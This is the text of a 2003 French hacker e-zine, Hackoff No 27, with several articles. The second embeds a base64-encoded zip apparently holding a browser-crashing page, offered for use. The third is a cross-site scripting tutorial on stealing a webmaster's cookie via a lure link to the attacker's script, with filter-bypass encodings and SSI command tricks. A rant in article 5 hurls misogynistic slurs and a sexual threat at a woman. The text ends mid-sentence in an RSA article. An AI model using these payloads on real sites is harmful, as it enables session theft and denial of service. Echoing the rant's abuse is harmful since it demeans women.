27-05-2003 - H@CKOFF N° 27 - - Factory Edition *- °º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø _/ _/ _/_/ _/_/_/ _/ _/ _/_/ _/_/_/_/ _/_/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/_/ _/_/_/_/ _/ _/_/ _/ _/ _/_/_/ _/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ / _/ _/ _/ _/ _/_/_/ _/ _/ _/_/ _/ _/ °º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø /¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\ \ Bienvenue dans ce Hackoff No 27 Factory edition, une édition a \ \ génération savatiquement spontanée car sa force de publication \ \ repose sur un systeme automatisé. Au sommaire de ce numéro on \ \ vous endort sournoisement les cellules grises a base de \ / metaphores tirées par les cheveux de la tete sans rapport / / manifeste avec les sujets développés mais en rapport étroit avec / / leur contenu latent; du code a décoiffer et dérouter tous les / / brouteurs, des expressions régulieres, des iptables, des humeurs / / et des tumeurs, des suppos et des cacahuetes grillées. / \____________________________________________________________________/ \ | \| . __________ .,:;>The Crew<;:,. ¯¯¯¯¯¯¯¯¯¯ /¯¯gard¯¯\ / misto. \ ____________________________________/ .hertz.. \______________________________ ¦§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦/ ..blured.. \§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯/ ...courou... \¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ / ....tobozo.... \ / ....jericho..... \ ______________/ .....lansciac..... \______________ º°`°º¤ø,¸¸,ø¤º========================º¤ø,¸¸,ø¤º°`°º ¯¯¯¯¯¯¯¯¯¯¯¯/ Ghosts: sniffdoz frogman \¯¯¯¯¯¯¯¯¯¯¯¯ /----------------------------\ / Guests: hal2001 ulysse joey \ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ _______________________ ___________ / TabLe des mAtières : \ / HACK0ff \ |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯| ] -=v0L27=- [ | [0] disclaimer tobozo | \ May 2003 / | [1] edito tobozo | ¯¯¯¯¯¯¯¯¯¯¯ | ---------------------------------------------------------- | | [2] Crash any damn brouteur tobozo | | [3] CrossSite Scripting Frogm@n | | [4] Les expressions régulieres symbioz | | [5] Assisté+Libéré=Suicidé Nils | | [6] Securite et cartes bleues maddany | | [7] Anonymat hal2001 / tobozo | | [8] Uncapping DOCSIS tobozo | | [9] Binarité Lansciac | | [a] Stegano Megalo leonard | | [b] BTH RTFM DMZ CQFD(*) lansciac | | | ---------8<-----+--------------8<---------------------8<---------------------8<- ¦ : . _ ___________________ _ -*0*- `^°*;:,.> Ðïsclaïmór3 <.,:;*°^` _____________________________/¯¯¯¯¯¯ tobozo ¯¯¯¯¯\______________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, Honni soit qui mal y pense et y ment mine de rien car le suppo n'est pas loin pour celui qui s'y frotte en pensant ne pas s'y piquer meme si un bien malappris ne profite qu'a autrui. Bien qu'a bon chat bon rat, a vieux chat, jeune souris, et meme quand le chat n'est pas là, les souris dansent car qui ne nourrit pas le chat, nourrit le rat, enfin il n'est si petit chat qui n'égratigne qu'un chat échaudé qui craint l'eau froide, a ceci pres que si la nuit, tous les chats sont gris, il ne faut pas réveiller le chat qui dort quand personne ne veut attacher la sonnette au cou du chat et que les chiens ne font pas des chats. Miaou tobozo@madchat.org ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _ ________________________ _ -*1*- `^°*;:,.> Ê Ð ï t 0 <.,:;*°^` ____________________________/¯¯¯¯¯¯¯¯¯ tobozo ¯¯¯¯¯¯¯¯¯\________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, Prets a tout pour consolider l'equipe, des auteurs se sont naivement appliqués a imiter le style incomparable des divers scribouilleurs dont le talent perturbe avec confusion les pages a parution logarithmique du symbole absurde de la culture sub-souterraine d'un présent alternativement instable et endormi. Constitués d'un florilege disparate de plusieurs sujets brulants (et parfois meme brulés), ils ont ainsi brouillonné des articles qu'ils esperent incontournables. Observez attentivement leur laboureux plagia et trouvez les fautes de gout (et d'orthographe) qui a jamais leur interdiront tout espoir de republier dans le hackoff apres le numero 42. tobozo@madchat.org ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _ __________________________________________ _ -2- `^°*;:,.> Crash any damn brouteur <.,:;*°^` _____________________/¯¯¯¯¯¯¯¯¯¯¯tobozo¯¯¯¯¯¯¯¯¯¯¯\_____________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, 11/5/2002 blah blah blah avec ton decodeur tu decoderas . .. Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Crash.zip" UEsDBBQAAAAIANtbUiuXESw2JgUAAGcZAAAJAAAAY3Jhc2guaHRt7VlRb9pIEH73rxjca0OUnE3S RNUlxjoCpEdFmgjQVadTH9b2AJvaXnd3DSG9/mD+xc3ahiRqc+TlTqeUkWzM7My3M7Mzy3rwpjqJ fcubIovoI+bpJ5AYN+2xSHWEYxuUDJt2KJmaHr1xsrG0fcvylF7ECHqRYdPWeKPdUCkaeFHIwZdM KK65SE+ABUrEucbTr5bnFlpGXXNND8OF0phA2+h4bskjqdIUy8v8V2mgslPPzXzzzQsx1Sh9b3rg tzRpZpqnE7iPAiNU2nEcAjnwPXelUAAEsQg/fc6FRv8hdBshFBGCiQRoAkDIU4RApHSPRH7LuHkg Tj5RoLJlyMf8c44KWH4DGZvQ0xwD5XiBBNe3hhxCJPuKISgigjATWiKkbMYnTGMu94HHMGMwZnEs uASKZkJKJMPgWuQSarUK7neR00wzvIWlXtLaRFzyyRIUydybJjM6WZwrTuAKJONKpIrYSvEgJgtP KjhaYr+ADKco6bqlCQun5Tc2ei7J3imkO0xKPuOkkjEyCcYok81qhemoFFssIdphYYgRKbEixpL4 ZHhI4d3JU6CkwX1AbaJhns2U5Vw8WVawhReVL5ZZbohyszK0hqlLF9RVkRDk8geeRmKudikhLI8n lCqDNiU2j/HEdcMTt9KgvO2LPFvWHsd+d9V9C/X3Qzhyjvfu8O5K4+cUtQpZhs51NnkCYIDzpFYh vikBTcFROoRUUUxyFkMQs/DTPhRf9hWj8KDkpiD5LTaP/QLi1xc/ea7RfOKUhysvTJRnKBU3WcJM mZjEwSpYEZ8BjyrfyB1PM0oimPNIT5uHr1/CFPlkqs2j72mqME0VC3BnUmAKmZh0M/VXqBsWAfvf MdQbXrXeAwxHf/S7TXu9e6w3D+h3z0cnDWPJqHXW78LZ5aDTHTTthg0fep3Rb82DRoNMGQ3o6vil 0N1Xt7wN1hzrcQm3GnkSx5j9PX8eRp4+MiZp9YCbQFPel4vQOCpzaWP2DaHe68Kxc2yKI6zybyxZ gmaVMGFyTMaUHPJNhZJnlBE6xOtAQBO+fD21CiknEmGe0K7oiAzT+u437LmksqvbnrL37BJFi8wp gZxCttmgfXw9ahNEhDFSrZZCpw9nJdnKmE1OnvEJnAuZwHvUZ3maLnYU1GmXjYudttc9Lt1eZRKl Fd2iKiXtg5e2751fDi7MLjoVlLpXl8ORyReeZrm+90tl006V4Cq1y2Kyf9nSlrb0g5ANCbuJMZ2Y nWOz+Ja2tKXnQTa9c8X5+uffLw6pVnFKtdbH1I0Hut7FW3q5oIPHgxPK3XtBeShpPBM6eEJE2jFT qtcx59QyDJdn77rtEbT7reGw13k2sfiR6WizyPOi/8Jh2oHKUnlCkXUvzrod08QoXgfp/bEstTW7 aU+1zk5ct/2X23I2z72l/zttS+5foEfacw9K7TK4xlBDh2kGfSEyqEfctMtAuFWLTJQSEUlUpwln qhNzoihHnjDJODYt6/tHCFh1F4ftQe+K9oQZkxCKWEhoQopzaEnJFqdWwfrz4CNx7fmUa7RXvMMH vLGQ9RtiNE7hBrzXdN/b27W+WFDRuu8TTNrVLCXMzce1DB8biCYc7q5ZdwArKidZs79apt2/cmJT 62eI8RgGOEaJaYgRnJs+1v3uzzro54PWRXfYHcHg8sOQpjxuvNyny69Gir2R3L+3HP804q7gHlmr PkLVSwZjrSqOh/umOR1IMTf9vBRhhrkuetRZXLRRoVarWYQdiGhR/JtR/L/yN1BLAQIUABQAAAAI ANtbUiuXESw2JgUAAGcZAAAJAAAAAAAAAAEAIAC2gQAAAABjcmFzaC5odG1QSwUGAAAAAAEAAQA3 AAAATQUAAAAA tobozo@madchat.org ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _ _____________________________________ _ -3- `^°*;:,.> CrossSite Scripting <.,:;*°^` _____________________/¯¯¯¯¯¯¯¯¯¯Frogm@n¯¯¯¯¯¯¯¯¯¯\_____________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, 28/11/2002 Cross Site Scripting ******************** Introduction ************ Comme j'ai fait un tutoriel sur les failles cross site scripting PHPNuke, je vais maintenant approfondir un peu le sujet. Parfois on me dit "ce sont que des failles qui servent à rien"... voyons d'abord comment s'en servir :) La methode d'utilisation du xss la plus connue est celle du social engineering avec un lien en html qui contient un code pas gentil. Alors le webmaster se dit "pas grave je vais faire attention" ou il empeche la lecture du html dans la reception des mails. Et bien ce n'est pas suffisant... loin de là. La faille cross site scripting est enormement répandue dans les pages web dynamiques et fort sous-estimée. Rappel : Le "cross site scripting" est une faille permettant, le plus souvent dans une page web dynamique contenant un formulaire, de faire executer du code javascript, html ou autre directement sur le site. Nous n'allons pas aborder ici le sujet du XSS "permanent" mais il est difficile de le contourner totalement. Vous pouvez avoir + d'infos au sujet du xss ici : http://www.cert.org/advisories/CA-2000-02.html Le SE ***** Commencons par l'utilisation la plus connue du cross site scripting : le social engineering. Literalement : Ingénierie sociale, càd le fait de savoir se comporter avec les gens, une sorte de sciences des contacts sociaux. Ici comme la plupart du temps dans le hack à des fins de tests ou illegales. Notre but est donc de faire executer un code par le webmaster. Disons par exemple de prendre son cookie. Bon, je place un fichier php par exemple hack.php sur un serveur . Je me trouve un script script.cgi avec une valeur val qui est atteind de XSS. Pour recuperer le cookie, je doit donc obliger le webmaster à aller à l'url 'http:///fichier.php?val=' + son document.cookie Il nous faudra donc envoyer au webmaster un message de ce genre : " Bonjour, il y a un probleme dans votre site /hack.php?"+document.cookie"> ici " En voyant l'url sur son propre site, le webmaster risque de ne pas se mefier et de cliquer sur le lien. SSI *** Les SSI (Server Side Include) sont des petites commandes éxécutées par le serveur. Elle ne fonctionne que si les SSI sont activés, donc le plus souvent sur des sites utilisant asp. On peut par exemple s'en servir pour inclure un fichier dans une page : ou On peut aussi utiliser les SSI pour rediriger vers une autre url, en remplacant le menu.html ou le article.html par l'url où on veut que le webmaster se rende. Ou encore faire executer des commandes, comme la commande id pour connaitre l'username du serveur web : http:///script.asp?comment= VBS *** Certains elements du vbscript peuvent en effet être executés grâce à du cross site scripting. Essayez par exemple : http://host/script.php?val=msgbox%20"VbScRiPt". PHP *** On peut essayer d'inserer des commandes en php grâce aux requetes . On peut par exemple envoyer un mail : /script.php?val= ou bien faire executer des commandes : /script.php?val= HTML **** Pour faire afficher une page ou rediriger vers une autre page, il n'y a pas que les cas qui ont été vus ci-dessus. Par exemple la balise IFRAME : ou : ou encore : ainsi que la balise EMBED, FORM et bien d'autres. Les filtres *********** Les filtres supprimant par exemple les caracteres < ou " ne sont parfois pas suffisant. Le caractere " peut par exemple être remplacé par son encodage (Latin-1) : " ou encore ". Donc par exemple : www.host.com/form.asp?msg= Ce petit tableau pour rappel, avec les caracteres qui peuvent etre utiles : ! : ! ? : ? " : " [ : [ $ : $ / : / % : % : \ ' : ' ] : ] ( : ( ` : ` ) : ) a-z : a-z + : + { : { : : : | : | < : < } : } = : = > : > Je n'ai mis ni & ni #, car si ils sont filtrés, il le seront aussi dans ce cas là. Et aussi : " : " ] < : < ] } sera considéré comme du texte > : > ]/ un peu de culture par Majen : l'euro : € & : %26 ! : %21 ? : %3F " : %22 [ : %5B $ : %24 / : %2F : %5C ' : %27 ] : %5D ( : %28 ` : %60 ) : %29 + : %2B { : %7B : : %3A | : %7C < : %3C } : %7D = : %3D > : %3E # : %23 ; ; %3B a-y : %61-%79 Autre chose... si on a une page du style /script.cgi?tel=03264598714 et quand dans la source on voit qqchose du genre , une possibilité qui a fonctionné par exemple sur le site www.microsoft.com est de commencer le code à inscrire dans la valeur par "> , par exemple /script.cgi?tel=">. Le code source peut être alors interpreté de la sorte : /* le dernier "> etant celui qu'on a inseré au debut de la valeur. Le input est alors fermé /* et "tel" a une valeur vide. /* Vient alors le script... "> /* et la fin du input qui étais là à la base et sera surement interprété comme du texte. Dans le même style vous pouvez aussi essayer '>[SCRIPT] ou [SCRIPT] ou encore ">[SCRIPT]<" . Il faut aussi pouvoir jouer avec les filtres fixés. Imaginez par exemple qu'un filtre repere le mot "script", et s'en debarasse en le supprimant. Essayez alors d'entrer un script dans ce genre : alert('test') Verifiez que un caractere ou un mot ne soit pas remplacé par un caractere sensible. Si par exemple ? n'est pas accepté mais que "cookie" est remplacé par ?, il vous suffira d'entrer : qqchoz.php?val= Un dernier truc au niveau filtre... dans certains cas, si ' est interdit, il peut etre remplacé par l'antislash . Ou alors, il y a la balise form. pour faire , il suffira d'ecrire le code :
Il faut aussi savoir qu'une balise form ne peut pas être imbriquée dans une autre balise form. Si dans la source ça donne :
Cela ne fonctionnera pas, il faudrait d'abord fermer la première balise avec un , et donc commencer le code inseré par cela. Solution : ********** Normalement, si vous bloquez ces caracteres, vous ne devriez plus avoir de problemes de cross site scripting : <> # & % ! [] ? ; . Mais pour + de secu, voici une liste de mots/caracteres (evidemment pas complète) pouvant être néfastes pour un site : EMBED script VBS " ' location cookie : LINK IFRAME javascript ( ) ; refresh OBJECT onload onStart + = $ * Il y a des scripts anti-cross site scripting déjà tout fait sur cert.org, je n'en ai donc pas fait de nouveaux. Et on peut utiliser des fonctions du langage déjé préparées, comme htmlspecialchars() en php. Le cross site scripting est une "matière" que je découvre, je ne la maitrise pas parfaitement. D'autant plus que ce tutoriel parle surtout du XSS dit "non-permanent", càd uniquement via des urls. Mais le fait d'envoyer par exemple un email ou de poster sur un guestbook un message contenant un script néfaste est aussi du XSS. Greetz / dedicated to : *********************** Val2, Tobozo, [RaFa], Majen, Wong Family, Entity, C-2K, Cert.org, H3zEN, Skull.Rider, Juliendusud, HX. Credits : ********* frog-m@n leseulfrog@hotmail.com 21/01/02 Correction : ************ Le texte a été légerement revu le 28/11/02. Une nouvelle version devrait sortir un jour ou l'autre :) leseulfrog@hotmail.com ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _ _____________________________________ _ -4- `^°*;:,.> Expressions régulieres <.,:;*°^` _____________________/¯¯¯¯¯¯¯¯¯¯symbioz¯¯¯¯¯¯¯¯¯¯\_____________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, 18/4/2002 Les Expressions regulieres. Qu'est-ce qu'une expression réguliere ? Nommée également Regular Expression (RegExp), une expression réguliere permet de caractériser le format d'une chaine de caractere. Plus précisément, une expression réguliere est un motif ou une série de motifs de caracteres comparé à une chaine de caractere. Le but étant de rechercher ou de remplacer un motif dans une chaine de caractere. Cet article n'a rien d'extraordinaire, si vous connaissez les expressions regulieres, si vous savez vous en servir, c'est inutile de le lire. Néanmoins, certains ne savent pas ce qu'est une expression reguliere, certains ne connaissent meme pas leur existence. C'est apres avoir fait ce constat que j'ai pris mon courage a 2 pieds et que j'ai decider d'ecrire cet article. Retrouver ce que vous voulez dans un texte (mot, phrase, ponctuation, etc), rien de plus simple grace a ce que l'on appelle les expressions regulieres. Elles sont utilisable en PHP, autant qu'en perl et meme en ligne de commande ! Il en existe des tas (sisi je l'jure). Une expression reguliere a l'origine ne ressemble strictement a rien. Exemple: (*.?). Ca vous dit quelque chose ? Non, c'est pas grave, on traitera dans ce tutorial une grande partie des caracteres les plus courant pouvant vous aider a construire vos expressions regulieres. Chaque caractere sera detaillé et aura des exemples donc pas de panique. On va commencer par les caracteres les plus simples et les plus utiles (ca veut pas dire que ceux de la fin sont inutiles :)). - Les caracteres ^ et $. Ce sont les deux caracteres élémentaires aux expressions regulieres : Caractere Fonction(s) ^ Definit le debut d'une chaine de caracteres. $ Defini la fin d'une chaine de caracteres. EXEMPLES: ^oiseaux : Cette exemple definit une chaine de caracteres commençant par "oiseaux". oiseaux$ : Celle-ci definit une chaine de caratere terminant par "oiseaux". ^oiseaux$ : Et enfin, cette derniere defini une chaine de caracteres qui commence ET se termine par "oiseaux". -------------------------------------------------------------------------------- - Les caracteres * , + et ? : Caractére Fonction(s) * Zero ou Plusieurs + Un ou Plusieurs ? Un ou Zero EXEMPLES: abc* : Cet exemple definit une chaine de caracteres qui contient "ab" suivi de rien ou #de plusieurs "c".=> ab, abc, abcc...etc... abc+ : Cet exemple definit une chaine de caracteres qui contient "ab" suivi MINIMUM de un "c".=>abc, abccc...etc.. abc? : Cet exemple definit une chaine de caracteres qui contient "ab" suivi de RIEN ou un "c" mais RIEN D'AUTRE.=> ab , abc. C'est TOUT! - Les caracteres d'accolades { }: Les 2 caracteres vont ensemble. Ils servent tout simplement a donner une limite de chiffres derriere la chaine de caracteres. Vous comprenez mieux en lisant l'exemple ci dessous : abc{5}: Cette exemple definit une chaine de caracteres qui contient "ab" suivi de 5 "c". =>abccccc. abc{3}: Cette exemple definit une chaine de caracteres qui contient "ab" suivi de 3 "c". =>abccc. On peut aussi ajouter la virgule aux accolades ",": La virgule sert a donner une infinité de chiffres derriere la chaine de caracteres. abc{2,} : Cet exemple definit une chaine de caracteres "ab" suivi de AU MOINS 2 "c".=> abcc, abccc, abccccccccccc....etc.... Definissons tout de même un "maximum" derriere la virgule. abc{5,10) : Cet exemple defini une chaine de caracteres "ab" suivit de 5 à 10 "c". => abccccc, abcccccccccc, abcccccccc...etc... - Les caracteres parentheses (): Jusqu'a maintenant, on a toujours choisi un seul caractere derriere une chaine. Les parentheses servent selectionner une sequence de caracteres. a(lo)*: Cet exemple definit une chaine de caracteres qui contient "a" suivi de zero, un ou plusieur "lo". => a, alo, alolo, alololo, alolololo...etc... - La barre | (AltGr-6) Ce caractere contient simplement un operateur OU. Exemple : "un|le": chaine qui contient "un" ou "le" "(une|la) voiture": chaine qui contient "la voiture" ou "une voiture" "(a|b)*": chaine qui contient une suite de "a" ou de "b". - Le caractere .(point). Ce caractere cherche n'importe quel caractere 1 fois. Exemple: ^L. : Cette chaine contient un L suivi de n'importe quel caractere 1 fois => Le, La, Les etc...etc... Les crochets [], tirets - et accents circonflexe ^. Ces 3 caracteres sont independants les uns des autres mais je vais les expliquer en meme temps pour donner des exemples concrets : Les crochets definissent une chaine de caracteres AUTORISÉS ou INTERDITS : [tahc] contient une chaine de caracteres contenant un "t", un "a", un "h" et/ou un "c". En revanche, pour faciliter une recherche de caracteres et pour ne pas enumerer tout l'alphabet, vous pouvez utilisez le caracteres "-". [a-i] contient une chaine de caracteres allant de "a" a "i". Enfin, vous pouvez tout simplement INTERDIRE des caracteres dans une chaine en utilisant "^". Vive le [^fn] Contient une chaine de caracteres REFUSANT SYSTEMATIQUEMENT les lettres "f" et "n". (et tant mieux=)) Attention : Pour rechercher un caractere special. Il faut le faire preceder d'un antislash. Sauf s'il est entre crochets[]. En effet, tout caracteres ou chaine de caracteres represente ce qu'il est. Donc inutile de mettre des antislash. Et pour terminer, nous allons traiter "les classes des caracteres". Elles servent a rechercher des "types" de caracteres sans avoir à tous les enumerer. Pour faire ceci le plus simplement possible je vous les enumere dans un tableau. Les classes de caracteres [:blank:] - [ x09] Espaces ou tabulations [:alpha:] - [A-Za-z] Caracteres alphabetiques [:digit:] - [0-9] Caracteres numeriques [:alnum:] - [A-Za-z0-9] Caracteres AlphaNumerique [:punct:] - [!-/:-@[-'{-~] Caracteres de ponctuation. [:graph:] - [!~~] Caracteres affichables et imprimables [:space:] - [ t v f] Tous types d'espaces [:punct:] - [!-/:-@[-'{-~] Caracteres de ponctuation [:print:] - [~~] Caracteres imprimable(sauf zones de controle). [:lower:] - [a-z] Caracteres en minuscules [:upper:] - [A-Z] Caracteres en majuscules [:xdigit:] - [0-9a-fA-F] Caracteres hexadécimal Pour vous donner un exemple CONCRET de ce que vous pouvez faire avec les expressions regulieres, observez la portion de code en php suvante : /script>", " " , $var); /* La fonction ereg replace sert a remplacer un caractere ou une chaine de caracteres par ce que l'on veut. Dans cet exemple, nous utilisons l'expressions reguliere pour remplacer par un BLANC tout les JavaScript qui se trouvent sur la page http://www.monsite.com/index.htm. Ceci permet de recuperer la page index du site en supprimant tous les javascripts. */ echo $supprime ?> symbioz@madchat.org ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _ ____________________________________ _ -5- `^°*;:,.> Assisté+Libéré=Suicidé <.,:;*°^` ______________________/¯¯¯¯¯¯¯¯¯¯¯Nils¯¯¯¯¯¯¯¯¯¯¯\______________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, 20/3/2002 mercredi 20 mars 2002 18:43 Cet apres midi on est venu me demander ce que je faisais de mes journées. J'ai répondu par mon url (la moins "choc", à savoir Flesh Insanatarium). La demoiselle de ce pas s'en alla ce site contempler. Reaction (à chaud) de la demoiselle: "Je comprends pas très bien ton site, tu m'expliques? " Et c'est là que je veux en venir. Quand un site ne vend rien, quand un site ne parle pas du webmaster pendant 2 pages, quand un site ne parle pas au visiteur comme on parle à un golmon, avec un o combien délicat: "bienvenue sur ma page perso, ici vous trouverez mes loisirs, mes gifs animés, mes films préférés, ma collection de crevettes"... le visiteur est perdu nom de dieu! Il sait plus ou il est, on ne lui met plus ses pampers, il se retrouve sur un site qui ne lui dit pas quoi penser de ce dernier (quelle tragédie). Il n'y a pas de vote, pas de compteur pas de forum de trolls. Il n'y pas de message débile directement adressé au visiteur. Il n'y a pas de pop up minable "alors vous aimez mon site han? Votez pour moi". Non non non, rien de tout ça, liberté totale, l'internaute visite enfin un site qui contient plus de contenu que de blah blah présentatif. Le pekin du coin est alors libre de se faire sa propre opinion de la chose et au lieu de ça je recolte un: "Je comprends pas très bien ton site, tu m'expliques? " T'expliquer quoi espece de petasse? Sur quel bouton tu dois cliquer? Le sens dans lequel tu dois regarder mes gfx? S'il n'y a pas de mode d'emploi tu piges plus ça y est t'es perdue sale petite sous merde? Il faut en plus que je te mettes un son en fond sonore avec une voix de con qui dit "bienvenue sur le site de Nils. ici vous trouverez des dessins. Pour regardez les desins, veuillez cliquer et les regarder". Je vais te faire le cul salope. Paradoxe! Ce pur produit de notre système de consommation, tant habitué à ce que l'information vienne lui bouffer le minou des le reveil par voie hertzienne, tant habitué à ce qu'on lui dise "regarde, c'est cool" ou "regarde, c'est pas cool". Ce pur produit de notre système - de merde il faut le dire - n'est même plus capable non pas de comprendre mais de simplement voir la simplicité. Non, plus personne n'attend de se faire une opinion de quoique ce soit. Tout le monde en réalité attend qu'on lui dise ce qu'il doit regarder et ce qu'il doit en penser. Détachez les du boulet qu'ils trainent comme des cons, et ils tomberont, accablés, ne sachant plus quoi faire ni même comment penser. Voila, c'était encore un épisode de "ces aventures quotidiennes qui démontrent combien nous nourrissons un système culturel de l'incohérence" http://insanatarium.free.fr/ par Nils nilsink@hotmail.com ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _ _____________________________________ _ -6- `^°*;:,.>Securite et cartes bleues<.,:;*°^` _____________________/¯¯¯¯¯¯¯¯¯¯maddany¯¯¯¯¯¯¯¯¯¯\_____________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, 5/6/2002 SECURITE ET CARTES BLEUES par maddany@madchat.org et crilu I. INTRODUCTION ET DISCLAIMER II. INTRODUCTION AU RSA III. PRELIMINAIRES MATHEMATIQUES IV. APPLICATION A LA CARTE BLEUE APPENDICE I. PROGRAMMES D'EXEMPLE EN JAVA APPENDICE II. SOURCES ET BIBLIOGRAPHIE I. INTRODUCTION ET DISCLAIMER Bon, on va commencer par décourager les SK : cet article ne traite pas directement des yescards et ne devrait pas vous servir à grand-chose si ce que vous cherchez c'est comment faire des yescards. Le but de cet article est essentiellement de donner un bon background mathématique qui permette de comprendre le cryptage avec le RSA, et son application à la sécurité de la carte bancaire. Le côté pratique sera délaissé pour donner une compréhension en profondeur de l'origine de la faille (mise en évidence par Humpich), donc si vous voulez savoir qu'est-ce que c'est que cette faille Humpich et comment elle marche, ce texte est fait pour vous. Les démonstrations mathématiques de la partie III sont de niveau maths spé mais n'utilisent que des outils de maths sup (comprendre que c'est de niveau maths sup mais que ce n'est pas au programme de la sup), et je pense qu'elles sont accessibles à un bon élève de terminale S avec un peu de recherche (et une petite culture des programmes mathématiques du supérieur, notamment en algèbre). Ces démonstrations ne sont pas indispensables à la compréhension de l'article, elles sont surtout là pour les étudiants qui cherchent à aller au fond des choses ou juste pour les matheux curieux de savoir le fondement du RSA. II. INTRODUCTION AU RSA Le RSA est un système de cryptage asymétrique basé sur un résultat d'algèbre que nous démontrerons dans la partie III (on dit qu'un cryptage est asymétrique quand on n'utilise pas la même clé pour coder et décoder les données, on parle également de cryptage à clé publique/privée; l'autre type de cryptage est le cryptage symétrique ou à clé secrète). Dans la théorie, le RSA fonctionne ainsi : on prend p et q deux nombres premiers au hasard (on rappelle que les nombres premiers) on pose n = p*q on prend un entier e m = c^d mod n et c = m^d mod n => m = c^e mod n Théorème de Lagrange : Si G est un groupe fini et H un sous-groupe de G, alors l'ordre de H divise l'ordre de G (l'ordre d'un groupe est égal à son cardinal) (pour avoir la définition et quelques propriétés sur les groupes, je vous conseille de chercher un site ou un livre sur l'algèbre de 1er cycle (les-mathematiques.net ou le HPrépaMath Algèbre peuvent vous être utiles)) Preuve : soit G un groupe fini et H un sous-groupe de G. On définit la relation R ainsi : Pour tout (x,y) élt de G², on a xRy <=> x'*y élt de H où x' est l'inverse de x cette relation est une relation d'équivalence (cela se montre aisément) si on note xH l'ensemble { x*h | x élt de H } (classe à gauche de x), alors il est direct que la classe d'équivalence de x pour la relation R est xH. les classes d'équivalences sur G ainsi définies ont toutes le même cardinal, car la fonction f qui à tout élt h de H associe l'élt x*h de xH est une bijection, Donc pour tout x de G on a card(xH) = card(H) On en vient au théorème de Lagrange à proprement parler : on sait qu'il existe un entier naturel n et x_1,...,x_n n élts de G tels que { x_iH | i élt de {1, ..., n} } soit une partition de G, or les ensembles x_iH ont tous le même nombre d'éléments card(H), donc on récupère card(G) = n*card(H), ce qui revient à dire que l'ordre de H divise l'ordre de G, CQFD note : selon la légende, le petit Lagrange aurait démontré ce théorème à 10 ans devants les élèves de l'école polytechnique. C'est énervant hein ;) Corollaire du théorème de Lagrange : Si G est un groupe et g un élt de G 